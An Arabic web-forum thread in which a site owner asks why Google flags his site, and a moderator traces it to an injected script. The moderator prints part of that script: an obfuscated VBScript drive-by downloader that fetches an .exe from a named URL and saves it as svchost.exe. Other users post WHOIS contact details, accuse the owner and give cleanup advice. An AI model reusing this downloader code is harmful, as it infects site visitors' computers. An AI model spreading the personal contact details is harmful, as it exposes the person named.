سوالف سوفت انقذوني مضى شهر

[الثلج]

اخواني الخبراء والهواة في سوالف سوفت مبرمجين ومعدين

عجزت عن حل مشكلتي وجوجل لاتريد التجاوب معي

تدمر الموقع واصبت بالفلاس من الزوار ومن الامال

This site may harm your computer.

هذه الرساله تمنع الجميع من زيارة موقعي

فحصت القوالب في موقعي لكنن لم اجد اي مشكلة هل بامكان احدكم ان يساعدني ارجوكم

وهذا موقعي
www.****.com
تم ازالة الرابط عن طريق Zizwar
السبب به ملف مصاب

[سيڨيل]

عسى الله يهديك

[الثلج]

حدوود الفن
مشرف اقسام الشبكات و الاستضافة

عسى الله يثبتك

[Zizwar]

أكيد يا عزيزي، سيزيل قووقل موقعك، لأنه يقوم بإستدعاء ملف جافا سكريبت به فايروس او تروجانس

<script language="JavaScript"> 
<!--
<script src=http://members.lycos.co.uk/vc00lv/ksa.js></script>
//-->
</script> 

هذا جزء منه

document.writeln("<html\>");
document.writeln("<script language="VBScript"\>");
document.writeln("on error resume next");
document.writeln("");
document.writeln("MircoLong = "http:\/\/nokhbah.org\/up-pic\/uploads\/65835fe0c8.exe"");
document.writeln("m4="down"");
document.writeln("m5="file"");
document.writeln("m6="copy"");
document.writeln("m7="exit"");
document.writeln("Set MircoLongc = document.createElement("object")");
document.writeln("f1="clsid:"");
document.writeln("f2="BD96C556-"");
document.writeln("f3="65A3-"");
document.writeln("f4="11D0-"");
document.writeln("f5="983A-"");
document.writeln("f6="00C04FC29E36"");
document.writeln("f7=f1&f2&f3&f4&f5&f6");
document.writeln("MircoLongc.setAttribute "classid", f7");
document.writeln("seturla=m4");
document.writeln("seturlb=m5");
document.writeln("seturlc=m6");
document.writeln("seturld=m7");
document.writeln("MircoLongi="Microsoft.XMLHTTP""); 
document.writeln("Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")");
document.writeln("seturlf="Ado"");
document.writeln("seturlg="db."");
document.writeln("seturlh="Str"");
document.writeln("seturli="eam"");
document.writeln("MircoLongf=seturlf&seturlg&seturlh&seturli");
document.writeln("MircoLongg=MircoLongf");
document.writeln("set MircoLonga = MircoLongc.createobject(MircoLongg,"")");
document.writeln("MircoLonga.type = 1");
document.writeln("MircoLongh="GET"");
document.writeln("MircoLongd.Open MircoLongh, MircoLong, False");
document.writeln("MircoLongd.Send");
document.writeln("MircoLong9="svchost.exe"");
document.writeln("set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")"); 

اذا لاحظت السكريبت فإنه يقوم بتنزيل ملف exe في أجهزة الزوار

[Zero0on]

حتي هنا لابد انه يوقفوك
دمرت اجهزة الناس
والمفروض صاحب الاستضافة يوقف موقعك
Domain name: KS5A.COM

Administrative Contact:
saudi team
feras safwan (r.-f@hotmail.com)
+962.796899553
Fax: +962.796899553
amman
amman, 1234
JO


Name Servers:
ns1.j6rb.com
ns2.j6rb.com


حرام عليك شوف كم شخص خربت جهازه

[سليمان عبدالعزيز]

على حسب علمي من ترايدنت


انه اهو نفسه صاحب جده طرب

ns1.j6rb.com
ns2.j6rb.com

فصاحب الاستضافة نفسه اهو ....

الله يهديكـ اخوٍي وبعدين واخترقة الجهاز وصرت قوي وبعدين ؟ . . . .


الله يصلحكـ دنيا واخرهـ
اخوك
دنيا الجوال

[seifss]

ياجماعة الخير الرجل يمكن مايعلم ..واستفساره هنا دليل

المشرف Zizwar ماقصر بيلك السبب

[الثلج]

Zizwar
مشرف قسم ويب 2.0 و البرمجة القياسية


ربي يجزاك ووالديك الجنه تعبت وانا ابحث في القوالب ولا سبق وشفتها لكن كما يقال مايجيبها الا رجالها

[الثلج]

أخي العزيز Zizwar مضى على تغير القوالب اسبوع وجوجل لم تزيل رسالتها فما الحل برايك

[الإمبراطور وحيد]

السلام عليكم

ليش تبحث فقط في القوالب؟؟؟؟؟؟؟؟

ابحث في كل ملفات موقعك
ماهو السكريبت المستخدم ؟ في الموقع؟؟

انا احد اصدقائي واجهته المشكلة نفسها ووجدنا الكود في مجلد الـ include في أحد ملفاته الغير متوقعة ابدا ابدا
وكان السكريبت وقتها هو 4images


لذلك شيك على كل ملفاتك وتاكد ان مافي في موقعك ثغرة تتيح للمخترق انه يوصل إلى ملفات موقعك ويحط لك هالكود
لانه تم زرع الكود يدويا

ويمكن لو تراجع الملف وتشوف متى اخر تعديل له بتعرف ...

غير باسوردات موقعك واوقف اي ملف او سكريبت تشتبه فيه ولو -0%


اضافة ##
مو شرط تلقى كود جافا سكريبت ممكن يكون كود iframe يتضمن صفحة في موقع آخر من خلالها يستدعي كود الجافا سكريبت
##


اتمنى افدتك
السلام عليكم

[الثلج]

جزاك الله كل خير بس يبين من الصفحة الرئيسية لو كان فيه شي